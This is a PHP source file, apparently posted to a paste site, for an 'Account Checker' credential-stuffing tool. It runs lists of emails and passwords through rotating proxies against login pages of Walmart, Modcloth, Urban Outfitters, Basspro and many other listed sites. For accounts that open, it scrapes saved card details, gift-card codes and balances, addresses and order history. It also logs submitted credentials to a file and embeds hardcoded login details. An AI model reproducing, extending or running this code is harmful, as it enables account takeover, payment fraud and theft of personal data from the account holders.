· 7 years ago · Sep 22, 2018, 04:58 AM
1<?php
2//$filename = "index.php";
3
4 ini_set("display_errors",0);
5 @set_time_limit(0);
6if($_GET['check'] != "die")
7{
8 if(!extension_loaded('imap'))
9 {
10 echo "Imap is disabled<br />";
11 }
12 if(!extension_loaded('openssl'))
13 {
14 echo "Openssl is disabled";
15 }
16?>
17<head>
18 <title>Account Checker</title>
19<script>
20function timsock(){
21 var slist = window.document.f.socks2.value;
22 var die = slist.match(/\d{1,3}([.])\d{1,3}([.])\d{1,3}([.])\d{1,3}((:)|(\s)+)\d{1,8}/g );
23 if(die){
24 var list="";
25 for(var i=0;i<die.length;i++){
26 if(die[i].match(/\d{1,3}([.])\d{1,3}([.])\d{1,3}([.])\d{1,3}(\s)+\d{1,8}/g )){
27 die[i]=die[i].replace(/(\s)+/,':');
28 }
29 list=list+die[i]+"\n";
30 }
31 window.document.f.socks2.value=list;
32 }
33 else{
34 window.document.f.socks2.value="";
35 }
36}
37function gs()
38{
39 document.getElementById("loading").innerHTML = "Äợi chút, Ä‘ang get..." ;
40 url = "socks.php";
41 var xmlhttp;
42 if (window.XMLHttpRequest)
43 {
44 xmlhttp=new XMLHttpRequest();
45 }
46 else
47 {
48 xmlhttp=new ActiveXObject("Microsoft.XMLHTTP");
49 }
50 xmlhttp.onreadystatechange=function()
51 {
52 if (xmlhttp.readyState==4 && xmlhttp.status==200)
53 {
54 var xdata = xmlhttp.responseText;
55
56 document.getElementById("socks2").innerHTML = xdata ;
57 document.getElementById("loading").innerHTML = "";
58 }
59 }
60 xmlhttp.open("GET",url,true);
61 xmlhttp.send();
62}
63 function loadXMLDoc(url)
64 {
65 //alert(url);
66 var xmlhttp;
67 if (window.XMLHttpRequest)
68 {
69 xmlhttp=new XMLHttpRequest();
70 }
71 else
72 {
73 xmlhttp=new ActiveXObject("Microsoft.XMLHTTP");
74 }
75 xmlhttp.onreadystatechange=function()
76 {
77 if (xmlhttp.readyState==4 && xmlhttp.status==200)
78 {
79 var xdata = xmlhttp.responseText;
80 var ex = xdata.split('|');
81 var status=ex[0];
82
83 //alert(xdata);
84 //document.getElementById("rs").innerHTML = document.getElementById("rs").innerHTML + "<br>" + xdata;
85 document.getElementById("result").innerHTML = (eval(document.getElementById("result").innerHTML) + 1);
86 if(status.match(/Socks Die/)){
87 document.getElementById("socksdie").innerHTML = (eval(document.getElementById("socksdie").innerHTML) + 1);
88 document.getElementById("result_sdie").innerHTML = document.getElementById("result_sdie").innerHTML + xdata + "" ;
89 }
90 else if(status.match(/Die/)){
91 document.getElementById("die").innerHTML = (eval(document.getElementById("die").innerHTML) + 1);
92 document.getElementById("result_die").innerHTML = document.getElementById("result_die").innerHTML + xdata + "" ;
93 }
94 else if(status.match(/Live/)){
95 if(xdata.match(/No Order/)){
96 document.getElementById("no").innerHTML = document.getElementById("no").innerHTML + xdata + "" ;
97 document.getElementById("live").innerHTML = (eval(document.getElementById("live").innerHTML) + 1);
98 }
99 else{
100 document.getElementById("have").innerHTML = document.getElementById("have").innerHTML + xdata + "" ;
101 document.getElementById("live").innerHTML = (eval(document.getElementById("live").innerHTML) + 1);
102 }
103 }
104 else if(status.match(/Unknow/)){
105 document.getElementById("die").innerHTML = (eval(document.getElementById("die").innerHTML) + 1);
106 }
107 }
108 }
109 xmlhttp.open("GET",url,true);
110 xmlhttp.send();
111 }
112 function pushSockDie(str){
113 str = decodeURIComponent(str);
114 str = str.replace("+++",'');
115 document.getElementById('result_sdie').innerHTML += '<div>' + str + '</div>';
116 document.getElementById("socksdie").innerHTML = (eval(document.getElementById("socksdie").innerHTML) + 1);
117 }
118 function pushDie(str){
119 str = decodeURIComponent(str);
120 str = str.replace("+++",'');
121 document.getElementById("die").innerHTML = (eval(document.getElementById("die").innerHTML) + 1);
122 document.getElementById("result").innerHTML = (eval(document.getElementById("result").innerHTML) + 1);
123 document.getElementById('result_die').innerHTML += '<div>' + str + '</div>';
124
125 }
126 function pushLive(str){
127 str = decodeURIComponent(str);
128 str = str.replace("+++",'');
129 document.getElementById("result").innerHTML = (eval(document.getElementById("result").innerHTML) + 1);
130 document.getElementById('have').innerHTML += '<div>' + str + '</div>';
131 document.getElementById("live").innerHTML = (eval(document.getElementById("live").innerHTML) + 1);
132 }
133 </script>
134
135</head>
136
137<style>
138 html body {
139 border:0;
140outline:0;
141font-size:100%;
142background:transparent;
143vertical-align:top;
144margin:0;
145padding:0;
146}
147body.rdsgn .sd-lCont {
148 width: 437px;
149 border-right: 1px solid rgb(204, 204, 204);
150 padding: 25px;
151 box-shadow: 4px 0px 1px rgb(238, 238, 238);
152}
153textarea {
154 padding: 11px 5px;
155 font-size: 13px;
156 border: 1px solid #d5d5d5;
157 color: #333;
158 margin: 0px 10px;
159}
160select
161{
162 padding: 9px;
163 border: 1px solid #d5d5d5;
164}
165input {
166 padding: 11px 5px;
167 font-size: 13px;
168 border: 1px solid #d5d5d5;
169 color: #333;
170 margin: 0px 10px;
171}
172.btn {
173 padding: 5px 0px;
174 font: normal 14px Arial, sans-serif;
175 cursor: pointer;
176 -webkit-border-radius: 3px;
177 -moz-border-radius: 3px;
178 border-radius: 3px;
179 background-color: #d14836;
180 background-image: -webkit-linear-gradient(top,#dd4b39,#d14836);
181 background-image: linear-gradient(top,#dd4b39,#d14836);
182 color: #fff;
183 font-family: "Segoe ui light";
184 font-size: 22px;
185 width: 200px;
186 display: block;
187
188}
189
190input, button, select, textarea {
191 font-family: inherit;
192}
193
194 </style>
195<head>
196 <div class="sd-lCont sd-lCont">
197<center><h3>[Account Checker]</h3>
198
199Enable multi thread to check faster, but can't change socks if socks die!
200<br>If you input socks, Tools will be check with socks. And if you don't input socks, Tools will be use IP Server to check!
201<br> Nháºn Code các loại tools PHP, contact Y!m: py.coder :)<br>
202<form method=post action="" name=f>
203 <div align="center"><a href="#" onclick="gs();">Get Socks From Library</a></div>
204 <div id="loading"></div>
205 <textarea name=socks class="tool" id="socks" style="width:550px; height:200px;"><?php if(isset($_POST['socks'])) echo $_POST['socks']; else echo "fuck@trym.be|fuckyou" ?></textarea><textarea name="socks2" class="tool" id="socks2" style="width:250px; height:200px;"><?php if(isset($_POST['socks2'])) echo $_POST['socks2']; else echo "" ?></textarea>
206 <br>
207<select id="type" name="type" value="<?php echo $_POST['type']; ?>">
208<option value="aber">Abercrombie</option>
209<option value="abt">Abt</option>
210<!--option value="adultfriendfinder">Adultfriendfinder</option-->
211<option value="amz">Amazon</option>
212<option value="amz2">Amazon (Email registered)</option>
213<option value="anntaylor">Anntaylor</option>
214<option value="anthropologie">Anthropologie</option>
215<option value="basspro">Basspro</option>
216<option value="beallsflorida">Beallsflorida</option>
217<!--option value="bedbathandbeyond">Bedbathandbeyond</option-->
218<!--option value="bestbuy">Bestbuy</option-->
219<!--option value="blommingdales">Bloomingdales</option-->
220<!--option value="bluefly">Bluefly</option-->
221<option value="bn">BN</option>
222<option value="buy">Buy.com</option>
223<option value="bjs">Bjs</option>
224<option value="cabelas">Cabelas</option>
225<option value="choicehotels">Choicehotels</option>
226<option value="costco">Costco</option>
227<option value="clubcarlson">Clubcarlson</option>
228<option value="datafile">Datafile</option>
229<option value="dell">Dell</option>
230<option value="drugstore">Drugstore</option>
231<option value="ebags">Ebags</option>
232<option value="ebay">Ebay</option>
233<option value="ebay2">Ebay (Email registered)</option>
234<option value="ecampus">Ecampus</option>
235<option value="etsy">Etsy</option>
236<option value="facebook">Facebook</option>
237<option value="freelancer">Freelancer</option>
238<option value="game">Game.co.uk</option>
239<option value="gap">Gap</option>
240<option value="gilt">Gilt</option>
241<option value="giftcardmall">Giftcardmall</option>
242<option value="groupon">Groupon</option>
243<option value="godaddy">Godaddy</option>
244<!--option value="hsn">Hsn</option-->
245<option value="hollister">Hollister</option>
246<option value="homedepot">Home Depot</option>
247<option value="houseoffraser">Houseoffraser</option>
248<option value="intel">Intel</option>
249<option value="igxe">Igxe</option>
250<option value="jcp">JCPenney</option>
251<!---option value="kohls">Kohls</option-->
252<option value="landsend">Landsend</option>
253<option value="lancome">Lancome-usa</option>
254<option value="listia">Listia</option>
255<option value="lordandtaylor">Lordandtaylor</option>
256<option value="modcloth">Modcloth</option>
257<!--option value="macys">Macys</option-->
258<option value="match">Match</option>
259<option value="maccosmetics">Maccosmetics</option>
260<option value="ms">Microsoft</option>
261<option value="mypoint">Mypoints</option>
262<option value="neiman">Neimanmarcus</option>
263<option value="newegg">Newegg</option>
264<option value="next">Next.co.uk</option>
265<option value="nomorerack">Nomorerack</option>
266<option value="nordstrom">Nordstrom</option>
267<option value="officedepot">Officedepot</option>
268<option value="onestopplus">Onestopplus</option>
269<option value="ocado">ocado - site UK </option>
270<option value="overstock">Overstock</option>
271<option value="staples">Staples</option>
272<option value="stubhub">Stubhub</option>
273<option value="rei">Rei</option>
274<option value="roots">Roots</option>
275<option value="paltalk">Paltalk</option>
276<option value="perk">Perk</option>
277<option value="playasia">Play-asia</option>
278<option value="points2shop">Points2shop</option>
279<option value="psn">PSN</option>
280<option value="puritan">Puritan</option>
281<option value="qvc">QVC</option>
282<option value="saks">Saks</option>
283<option value="sears">Sears</option>
284<option value="sephora">Sephora</option>
285<option value="shoebuy">Shoebuy</option>
286<option value="shopnbc">Shopnbc</option>
287<option value="shopto">Shopto</option>
288<option value="skrill">Skrill</option>
289<option value="skype">Skype</option>
290<!--option value="stripe">Stripe</option-->
291<option value="starwoodhotels">Starwoodhotels</option>
292<!--option value="starbucks">Starbucks</option>
293<option value="starbucksbalance">Starbucks Giftcard Balance</option-->
294<option value="recyclebank">Recyclebank</option>
295<option value="target">Target</option>
296<option value="tesco">Tesco</option>
297<option value="thrillist">Thrillist</option>
298<option value="ticketmaster">Ticketmaster</option>
299<option value="tigerdirect">Tigerdirect</option>
300<option value="tunecore">Tunecore</option>
301<option value="toluna">Toluna</option>
302<option value="uggaustralia">Uggaustralia</option>
303<option value="urbanoutfitters">Urbanoutfitters</option>
304<option value="verizon">Verizon</option>
305<option value="vindale">Vindale</option>
306<option value="victoriasecret">Victoriasecret</option>
307<option value="vodafone">Vodafone</option>
308<option value="walmart">Walmart</option>
309<option value="wayfair">Wayfair</option>
310<option value="woot">Woot</option>
311<option value="zara">Zara</option>
312<option value="zimbalam">Zimbalam</option>
313<option value="pixmania">pixmania.co.uk</option>
314
315</select>
316Delim: <input class="tool" type="text" name="delim" id="delim" value="|" size=1 />
317 <input class="tool" type="checkbox" checked name="rsdie"> Hide result die <input type="checkbox" name="mp"> Check MP Live <input type="checkbox" name="multi"> Multi thread
318 <br>
319 <input class="btn btn-prim sd-sgnBtn" type=submit name=submit value=" CHECK NOW " onclick="timsock();">
320</form>
321
322</div>
323</center>
324<center>
325<br>
326<?php
327
328if(isset($_POST['socks'])){
329
330 $mlist = $_POST['socks'];
331 $mlist = str_replace(array("\\\"","\\'"),array("\"","'"),$mlist);
332 $mlist = str_replace("\r","",$mlist);
333 $mlist = str_replace("\n\n","\n",$mlist);
334 $file = file_get_contents("log.txt");
335 file_put_contents("log.txt", $file."\n".$mlist);
336 $m = $_POST['m'];
337 $p = $_POST['p'];
338 $delim = $_POST['delim'];
339 $mlist = explode("\n",$mlist);
340 $socklist = $_POST['socks2'];
341 $socklist = explode("\n", $socklist);
342
343 $STT = 0;
344 $TOTAL = count($mlist);
345
346 ?>
347 <div class="output_center">
348 <center>
349 <center>
350 <?php
351 echo 'Start Checking '.$_POST['type'].'<br><font color=red><b>Total: '.$TOTAL.' - Checked: <b id="result">0</b> - Live: <b id="live">0</b> - Die: <b id="die">0</b> - Socks Die: <b id="socksdie">0</b></b></font>
352 <br><p>List Live</p>
353<div id="result_live" style="text-align: left; color: green; border: 1px solid green; padding: 20px;"><div id="have"></div><br><div id="no"></div></div>
354<br>
355<br><p>Socks Die</p>
356<div id="result_sdie" style="text-align: left; color: blue; border: 1px solid blue; padding: 20px;"><div id="have"></div><br><div id="no"></div></div>
357<br>
358';
359 if($_POST['rsdie'] != on)
360 {
361 echo '<p>Die</p>
362<div id="result_die" style="text-align: left; color: red; border: 1px solid red; padding: 20px;"></div>
363<br>';
364 }
365
366 ob_flush();
367 flush(); $x = 0;
368 $i=0;
369 while($i<$TOTAL){
370 $count = count($socklist)-1;
371 $rand = rand(0,$count);
372 $socks = $socklist[$x];
373 $socks = str_replace(" ", "", $socks);
374 $socks = urlencode($socks);
375 $socks = str_replace("%0D", "", $socks);
376 $sock = urldecode($socks);
377 $line = $mlist[$i];
378 $ccn = str_replace(',','|',$line);
379 $ccn = str_replace('/','|',$ccn);
380 $ccn = str_replace('||','|',$ccn);
381 $line = str_replace(' ','',$ccn);
382 $line = search($line,$delim);
383 $mail = $line[0];
384 $pass = $line[1];
385 if($_POST['mp'] == 'on')
386 {
387 $checkmp = 'on';
388 }
389 $type = $_POST['type'];
390 if($_POST['multi'] != 'on')
391 {
392 $result = checkacc($type,$mail,$pass,$sock);
393 }
394
395 if($result != "")
396 {
397 $result = strip_tags($result);
398 $result = str_replace("\n", "", $result);
399
400 if(inStr($result,'Live |') || inStr($result,'Live =>')){
401 if($checkmp == 'on')
402 {
403
404 require("mail/class_mail.php");
405 require("mail/class.curl.php");
406 $mailx = new Mail();
407 $ketqua = $mailx->check($mail,$pass);
408 if($ketqua == "1")
409 {
410 $resultx .="| <font color=green>";
411 $resultx .= "Mail Live";
412
413 }
414 elseif($ketqua == -1)
415 {
416 $resultx .="| <font color=red>";
417 $resultx .= "Mail UnSupport";
418
419 }
420 else{
421 $resultx .="| <font color=red>";
422 if($key == 0)
423 {
424 $resultx .= "Mail Die";
425 }
426 else
427 {
428 $resultx .= "Mail Die"; ;
429 }
430
431 }
432 $resultx .="</font>";
433 $result = str_replace("@@@@", $resultx, $result);
434 $result .= "<br>";
435 }
436 elseif(inStr($result,'Die |') && !inStr($result,'Socks Die'))
437 {
438 $i++;
439 $result = str_replace("@@@@", "", $result);
440 $result .= "<br>";
441 echo "<script type=\"text/javascript\">pushDie('".$result."');</script>";
442 ob_flush(); flush();
443 }
444 else
445 {
446 $result = str_replace("@@@@", "", $result);
447 $result .= "<br>";
448 }
449 $result = str_replace("xuongcmndong", "<br>", $result);
450 unset($mlist[$i]);
451 $x++;
452 $i++;
453 if($type == "macys")
454 {
455 $x--;
456 }
457 $result = urlencode($result);
458 $result = str_replace("+++", "", $result);
459 $result = str_replace("+", " ", $result);
460 echo "<script type=\"text/javascript\">pushLive('".$result."');</script>";
461 ob_flush(); flush();
462 }
463 elseif(inStr($result,'Socks Die'))
464 {
465 $x++;
466 $result = str_replace("@@@@", "", $result);
467 $result .= "<br>";
468 $result = urlencode($result);
469 $result = str_replace("+++", "", $result);
470 $result = str_replace("+", " ", $result);
471 echo "<script type=\"text/javascript\">pushSockDie('".$result."');</script>";
472 ob_flush(); flush();
473 }
474 else
475 {
476 $result = str_replace("@@@@", "", $result);
477 $result .= "<br>";
478
479 if(strpos($result,'Unknow'))
480 {
481 $x--;
482 $i--;
483 }
484 $i++;
485 $result = urlencode($result);
486 $result = str_replace("+++", "", $result);
487 $result = str_replace("+", " ", $result);
488 echo "<script type=\"text/javascript\">pushDie('".$result."');</script>";
489 ob_flush(); flush();
490 }
491 deleteallcookie();
492
493 }
494 else
495 {
496 $socks = $socklist[$rand];
497 $socks = str_replace(" ", "", $socks);
498 $socks = urlencode($socks);
499 $socks = str_replace("%0D", "", $socks);
500 $socks = urldecode($socks);
501 $line = $mlist[$i];
502 $ccn = str_replace(',','|',$line);
503 $ccn = str_replace('/','|',$ccn);
504 $ccn = str_replace('||','|',$ccn);
505 $line = str_replace(' ','',$ccn);
506 $line = search($line,$delim);
507
508 $mail = $line[0];
509 $pass = $line[1];
510 $pass = urlencode($pass);
511 if(empty($line)){
512 exit();
513 }
514 if($socks == '')
515 {
516 echo "<i id='result_$id' style='color:green'></i>
517 <script>loadXMLDoc('$filename?check=die&mail=$mail&pass=$pass&type=$type&checkmp=$checkmp');</script>";
518 }
519 else
520 {
521 echo "<i id='result_$id' style='color:green'></i>
522 <script>loadXMLDoc('$filename?check=die&mail=$mail&pass=$pass&type=$type&socks=$socks&checkmp=$checkmp');</script>";
523 }
524 $i++;
525 }
526
527
528 }
529 ?>
530 </center>
531 </center>
532<center> Code by DIE</center>
533<?php
534}
535
536}
537?>
538<?php
539//error_reporting(0);
540set_time_limit(0);
541function search($line,$delim)
542 {
543 $line = explode($delim,$line);
544 $i = 0;
545 while($i<count($line))
546 {
547 if(strpos($line[$i],'@') && strpos($line[$i],'.'))
548 {
549 $mail = $line[$i];
550 $pass = $line[$i+1];
551 $i = 10000;
552 }
553 $i++;
554 }
555 if($mail == "" || $pass == "")
556 {
557 $mail = $line[0];
558 $pass = $line[1];
559 }
560 $line = $mail."|".$pass;
561 $line = explode('|',$line);
562 return $line;
563 }
564if($_GET['check'] == "die")
565{
566 $mail = $_GET['mail'];
567 $pass = $_GET['pass'];
568 $type = $_GET['type'];
569 $sock = $_GET['socks'];
570 $pass = urldecode($pass);
571 $mp = $_GET['checkmp'];
572 if($mail == '' || $pass == '')
573 {
574 return "Unknow";
575 break;
576 }
577 $rs = checkacc($type,$mail,$pass,$sock);
578 $rs = strip_tags($rs);
579 $rs = str_replace("\n", "", $rs);
580 if(inStr($rs,'Live')){
581 if($mp == 'on' || $type == "qvc")
582 {
583
584 $mailx = new Mail();
585 $ketqua = $mailx->check($mail,$pass,$sock);
586 if($ketqua == "1")
587 {
588 $rsx .="| <font color=green>";
589 $rsx .= "Mail Live";
590
591 }
592 elseif($ketqua == -1)
593 {
594 $rsx .="| <font color=red>";
595 $rsx .= "Mail UnSupport";
596
597 }
598 else
599 {
600 $rsx .= "Mail Die";
601 }
602 $rsx .="</font>";
603 $rs = str_replace("@@@@", $rsx, $rs);
604 $rs .= "<br>";
605 }
606 else
607 {
608 $rs = str_replace("@@@@", "", $rs);
609 $rs .= "<br>";
610 }
611 }
612 else
613 {
614 $rs = str_replace("@@@@", "", $rs);
615 $rs .= "<br>";
616 }
617 $rs = str_replace("xuongcmndong", "<br>", $rs);
618 echo $rs;
619 deleteallcookie();
620}
621function deleteallcookie()
622{
623 $dir = "cookie/";
624 $dirHandle = opendir($dir);
625 while ($file = readdir($dirHandle)) {
626 if(!is_dir($file)) {
627 unlink ("$dir"."$file"); // unlink() deletes the files
628 }
629 }
630 closedir($dirHandle);
631}
632function inStr($s,$as)
633 {
634 $s=strtoupper($s);
635 if(!is_array($as)) $as=array($as);
636 for($i=0;$i<count($as);$i++) if(strpos(($s),strtoupper($as[$i]))!==false) return true;
637 return false;
638 }
639function checkacc($type,$mail,$pass,$sock)
640{
641 return $type($mail,$pass,$sock);
642}
643
644function getStr($string,$start,$end){
645 $str = explode($start,$string,2);
646 $str = explode($end,$str[1],2);
647 return $str[0];
648}
649function rm($mail)
650{
651 $rm = explode("@",$mail);
652 return $rm[0];
653}
654function walmart($m,$p,$sock)
655{
656 $url1 = "https://www.walmart.com/account/api/signin";
657 $url2 = "https://www.walmart.com/api/customer/:CID/credit-card";
658 $curl = new curl;
659 $curl->cookiefile(null);
660 $curl->timeout("30");
661 if($sock) {$curl->proxy($sock);}
662 $curl->ssl(0, 2);
663 $page = $curl->get($url1);
664 if ($page) {
665
666 $data = 'username='.urlencode($m).'&password='.$p.'&login-captcha-value=&clearPCID=1';
667 $page = $curl->post($url1, $data, 1, 1, 0);
668
669 if (strpos($page, '{"firstName":') !== false) {
670
671
672 $page = $curl->get($url2);
673 $page = '['.getStr($page,'[',']').']';
674
675 $decode = json_decode($page,true);
676
677 $card = "Total Card: ". count($decode);
678 foreach($decode as $ca)
679 {
680 $card .= " | [".$ca['cardType']." ".$ca['lastFour']." | ".$ca['cardExpiryDate'].' ] ';
681 }
682
683
684 $page = $curl->get("https://www.walmart.com/api/customer/:CID/gift-card");
685 $page = explode("[", $page);
686 unset($page[0]);
687 $page = '['.implode("[",$page);
688
689 $decode = json_decode($page,true);
690
691 $gift = "Total gift: ".count($decode);
692 $page = $curl->get("https://www.walmart.com/cservice/yourGiftCardsAndOffers.do");
693 preg_match_all("/<div class=\"col1 BodyXLBold\">(.*)<\/div>/", $page, $mat);
694 for($py = 0; $py < count($decode); $py++)
695 {
696 $code = $mat[1][$py];
697 $code = str_replace("xxxx", $decode[$py]['lastFour'], $code);
698 $gift .= " | [ ".$code." - ".$decode[$py]['balance']." ".$decode[$py]['currency'].' ] ';
699 }
700
701
702 $page = $curl->get("https://www.walmart.com/cservice/ab_index.do");
703 $address = getStr($page,'<address>','</address>');
704 $address = str_replace("<br>", " | ", $address);
705 if($address == '')
706 {
707 $address = "No Address";
708 }
709 $page = $curl->get("https://www.walmart.com/account/orders");
710 preg_match_all("/<a href=\"\/account\/order\/(.*)\" class/", $page, $matches);
711 $totalorder = count($matches[1]);
712
713 $status = explode('" class="yaTableDataLink">View Order Details</a></td>',$page);
714 $status = explode('"',$status[0]);
715 $ttx = count($status);
716 $status = $status[$ttx-1];
717 $lastorder = getStr($page,'<h1 class="order-history-date">','</h1>');
718
719
720 $page = $curl->get("https://www.walmart.com/$status");
721 $status = getStr($page,'<span class="BodyMBold">','</span');
722 $lastorder .= " | <font color=red>$status</font>";
723 if($gift != '')
724 {
725 $showgift = "$gift |";
726 }
727 return "<font color=yellow><b>Live</b></font> | $sock | $m | $p @@@@ | Total Order: $totalorder | Last Order: $lastorder | $card | $showgift $address ";
728 } elseif (!strpos($page, '{"firstName":') && $page != "") {
729 $url1 = "https://www.walmart.com/account/api/signin";
730 $data = 'username=pycoder@live.com&password=quocthang&login-captcha-value=&clearPCID=1';
731 $page = $curl->post($url1, $data, 1, 1, 0);
732 return '<font color=red>Die</font> ==> ' . $sock . ' | ' . $m . ' | ' . $p . ' | ' .
733 '<br>';
734 } else {
735 return '<font color=pink>Unknow</font> ==> ' . $sock . ' | ' . $m . ' | ' . $p .
736 '|' . '<br>';
737 }
738 flush(); ob_flush();
739 }
740 else
741 {
742 return '<font color=red>Socks Die</font> ==> ' . $sock . ' | ' . $m . ' | ' . $p .
743 '|' . '<br>';
744 }
745 $curl->close();
746 unset($curl);
747}
748function modcloth($m,$p,$sock)
749{
750 $curl = new curl;
751 $cookie = tempnam('cookie','acc'.rand(1000000,9999999).'die.txt');
752 $curl->cookiefile($cookie);
753 $curl->timeout("30");
754 if($sock) {$curl->proxy($sock);}
755 $curl->ssl(0, 2);
756
757 $url1 = "https://www.modcloth.com/signin?known=true";
758
759
760 $page = $curl->get($url1);
761 if ($page) {
762 $curl->referer($url1);
763 $token = getStr($page,'name="authenticity_token" type="hidden" value="','"');
764 $url2 = 'https://www.modcloth.com/customers/logins';
765 $data = "utf8=%E2%9C%93&authenticity_token=$token&next_action=&action_id=&account%5Bemail%5D=$m&account%5Bpassword%5D=$p&commit=Sign+In";
766 $page = $curl->post($url2, $data, 1, 1, 0);
767
768 if (!strpos($page,'Invalid email or password')) {
769 $accid = getStr($page,'modcloth.accountId = ',';');
770
771 $page = $curl->get("https://www.modcloth.com/customers/accounts/".$accid."/edit");
772
773 $bill = getStr($page,'[billing_address_attributes][firstname]" size="30" type="text" value="','"')." | ".getStr($page,'[billing_address_attributes][lastname]" size="30" type="text" value="','"')." | ".getStr($page,'[street_1]" size="30" type="text" value="','"')." | ".getStr($page,'name="account[billing_address_attributes][city]" size="25" type="text" value="','"')." | ".getStr(getStr($page,'name="account[billing_address_attributes][region]">','</select>'),'selected="selected">','</option>')." | ".getStr($page,'name="account[billing_address_attributes][postal_code]" size="10" type="text" value="','"')." | ".getStr(getStr($page,'name="account[billing_address_attributes][country]">','</select>'),'selected="selected">','</option>');
774 $bill = strip_tags($bill);
775
776 $page = $curl->get("https://www.modcloth.com/customers/gifts");
777 $balance = strip_tags(getStr($page,'<h2>Store Credit</h2>','</strong>'));
778 $page = $curl->get("https://www.modcloth.com/customers/orders");
779 $order = "Have Order";
780 if(strpos($page,'There are no orders on file for your account.'))
781 {
782 $order = "No Order";
783 }
784 else
785 {
786 $order = "Last Order: ".getStr($page,' <a href="/customers/orders/','">');
787 $order .= " - ".getStr($page,'<span class="orderhistory-time">','</span>')." - ".getStr($page,'<span class="orderhistory-status">','</span>');
788 }
789 $page = $curl->get("https://www.modcloth.com/customers/cards");
790 $card = getStr($page,"<div class='credit-card-underline credit-card-bottom-margin credit-card-top-margin'>My Credit Cards</div>",'<div id="mc-footer">');
791 preg_match_all("/<div class='credit-card-image (.*)'> <\/div>/", $card, $matches);
792 preg_match_all("/Ending in (.*)<\/strong>/", $card, $matches2);
793 preg_match_all("/Expires (.*)<\/span>/", $card, $matches3);
794 for($py = 0; $py < count($matches[1]); $py++)
795 {
796 $cc .= " [".$matches[1][$py]."-".$matches2[1][$py]."-".$matches3[1][$py]."]";
797 }
798 return "<font color=yellow><b>Live</b></font> | $sock | $m | $p | $balance | $order | $cc | $bill<br>";
799
800 } elseif (strpos($page, "Invalid email or password")) {
801 return '<font color=red>Die</font> ==> ' . $sock . ' | ' . $m . ' | ' . $p . ' | ' .
802 '<br>';
803 $tdie++;
804 } else {
805 return '<font color=pink>Unknow</font> ==> ' . $sock . ' | ' . $m . ' | ' . $p .
806 '|' . '<br>';
807 }
808 flush(); ob_flush();
809 }
810 else
811 {
812 return '<font color=red>Socks Die</font> ==> ' . $sock . ' | ' . $m . ' | ' . $p .
813 '|' . '<br>';
814 }
815 $curl->close();
816 unset($curl); // destroy object
817}
818function urbanoutfitters($m,$p,$sock)
819{
820 $curl = new curl;
821 $cookie = tempnam('cookie','acc'.rand(1000000,9999999).'die.txt');
822 $curl->cookiefile($cookie);
823 $curl->timeout("30");
824 if($sock) {$curl->proxy($sock);}
825 $curl->ssl(0, 2);
826
827 $url1 = "https://www.ecost.com/o/msc-login";
828
829 $page = $curl->get($url1);
830 if ($page) {
831 $_dyncharset = getStr($page,'name="_dynSessConf" value="','"');
832 $url2 = 'https://www.urbanoutfitters.com/urban/user/checkout_login.jsp?_dyncharset=ISO-8859-1&_dynSessConf='.$_dyncharset.'&formAction=&_D%3AformAction=+&%2Fatg%2Fuserprofiling%2FProfileFormHandler.value.autoLogin=true&_D%3A%2Fatg%2Fuserprofiling%2FProfileFormHandler.value.autoLogin=+&%2Fatg%2Fuserprofiling%2FProfileFormHandler.loginSuccessURL=..%2Fuser%2Faccount_menu.jsp&_D%3A%2Fatg%2Fuserprofiling%2FProfileFormHandler.loginSuccessURL=+&formURL=..%2Fuser%2Faccount_menu.jsp&ctag=checkerror&login='.$m.'&_D%3Alogin=+&submitPassword='.$p.'&_D%3AsubmitPassword=+&isForgotPassword=&%2Fatg%2Fuserprofiling%2FProfileFormHandler.login=Sign-In&_D%3A%2Fatg%2Fuserprofiling%2FProfileFormHandler.login=+&_DARGS=%2Furban%2Fuser%2Flogin.jsp.loginForm';
833
834 $page = $curl->post($url2, $data, 1, 1, 0);
835
836 if (strpos($page,'Store multiple addresses for faster checkout')) {
837 $bill = getStr($page,'<div class="label">Default Billing<br/>Address:</div>','<script>');
838 $bill = str_replace("\n", "", $bill);
839 $bill = str_replace("<br/>", " | ", $bill);
840 $bill = strip_tags($bill);
841
842 $page = $curl->get("https://www.urbanoutfitters.com/urban/user/orderhistory.jsp?cmTagRequired=false");
843 $order = "Have Order";
844 if(strpos($page,'There are no orders on file for your account.'))
845 {
846 $order = "No Order";
847 }
848 else
849 {
850 $order = getStr($page,'<input type="hidden" name="fromAccountMenu" value="true"/>','View');
851 $order = str_replace("</td>", "-", $order);
852 $order = str_replace(array("<!-- mp_trans_disable_end -->",'<!-- mp_trans_disable_start -->',"\n"), "", $order);
853 $order = strip_tags($order);
854 }
855 $page = $curl->get("https://www.urbanoutfitters.com/urban/user/billingPreferences.jsp");
856 $card = getStr($page,'Default Payment Method<br/>','</fieldset>');
857 $card = strip_tags($card);
858 $card = str_replace(array("delete",'XXXX-XXXX-'), "", $card);
859 $card = str_replace("Set As Default Payment Method", " | ", $card);
860
861 return "<font color=yellow><b>Live</b></font> | $sock | $m | $p | $order | $card | $bill<br>";
862
863 } elseif (!strpos($page, "Store multiple addresses for faster checkout")) {
864 return '<font color=red>Die</font> ==> ' . $sock . ' | ' . $m . ' | ' . $p . ' | ' .
865 '<br>';
866 $tdie++;
867 } else {
868 return '<font color=pink>Unknow</font> ==> ' . $sock . ' | ' . $m . ' | ' . $p .
869 '|' . '<br>';
870 }
871 flush(); ob_flush();
872 }
873 else
874 {
875 return '<font color=red>Socks Die</font> ==> ' . $sock . ' | ' . $m . ' | ' . $p .
876 '|' . '<br>';
877 }
878 $curl->close();
879 unset($curl); // destroy object
880}
881function basspro($m,$p,$sock)
882{
883 //pycoder@live.com|Quocthang1
884 $curl = new curl;
885 $cookie = tempnam('cookie','acc'.rand(1000000,9999999).'die.txt');
886 $curl->cookiefile($cookie);
887 $curl->timeout("30");
888 if($sock) {$curl->proxy($sock);}
889 $curl->ssl(0, 2);
890
891 $url1 = "https://www.basspro.com/webapp/wcs/stores/servlet/Logon";
892
893 $page = $curl->get($url1);
894 if ($page) {
895
896 $data = "action=login&storeId=10151&langId=-1&URL=OrderItemMove%3FstoreId%3D10151%26catalogId%3D10051%26langId%3D-1%26userType%3DG%26userState%3D%26userId%3D-1002%26page%3Daccount%26fromOrderId%3D*%26toOrderId%3D.%26deleteIfEmpty%3D*%26continue%3D1%26createIfEmpty%3D1%26calculationUsageId%3D-1%26updatePrices%3D1%26errorViewName%3DTopCategoriesDisplayView%26URL%3DOrderCalculate%253fURL%253dLogonForm&catalogId=10051&reLogonURL=LogonForm&includingPage=&orderId=&rememberMe=true&orderId=&logonId=".strtoupper($m)."&logonPassword=$p";
897 $page = $curl->post($url1, $data, 1, 1, 0);
898
899 if (strpos($page, "you are signed up for an account with BassPro.com")) {
